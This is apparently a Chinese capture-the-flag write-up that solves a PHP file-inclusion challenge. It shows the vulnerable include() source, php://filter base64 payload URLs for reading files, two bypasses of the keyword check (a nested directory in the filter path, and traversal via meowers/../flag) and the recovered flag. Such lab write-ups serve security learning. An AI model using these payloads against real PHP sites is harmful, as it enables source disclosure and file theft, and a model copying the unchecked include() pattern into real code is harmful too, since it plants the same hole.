打开环境,有两个选择按钮,woofers和meowers,随意点击一个,出现了一张小狗的图片,但url中
有GET传参: index.php?category=woofers,怀疑是文件包含,访问一下woofers.php看存不存在:
?访问成功,再尝试修改category的值(后面加几个字母之类的):
?有include报错,这都说明是文件包含。
那就可以尝试用php伪协议读取源码:
url/index.php?category=php://filter/read=convert.base64-encode/resource=index.php
没有成功,多次尝试,发现需要去掉后缀名:
url/index.php?category=php://filter/read=convert.base64-encode/resource=index
base64解密,得到源码:
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
- 通过GET方式传入变量
category 的值 - 传入的值中需包含
woofers 、meowers 、index ,才能包含传入的文件。
直接读取试试:
/index.php?category=woofers/../flag
源码中出现:
?页面内容变了但是没报错,说明包含对了,但是需要读取flag.php。
1.尝试继续使用php伪协议读取flag.php:
url/index.php?category=php://filter/read=convert.base64-encode/resource=flag
传入的值中没有包含woofers 、meowers 、index,所以没有成功。
php://filter可以在resource之前嵌套一层目录:
php://filter/read=convert.base64-encode/meowers/resource=flag
得到base64,解密得:
<!-- Can you read this flag? -->
<?php
// flag{93e870b8-f100-43a9-9f7a-ad44f1c64595}
?>
2.可以通过拼接方式绕过:
index.php?category=php://filter/read=convert.base64-encode/resource=meowers/../flag
得到base64,解密得flag
|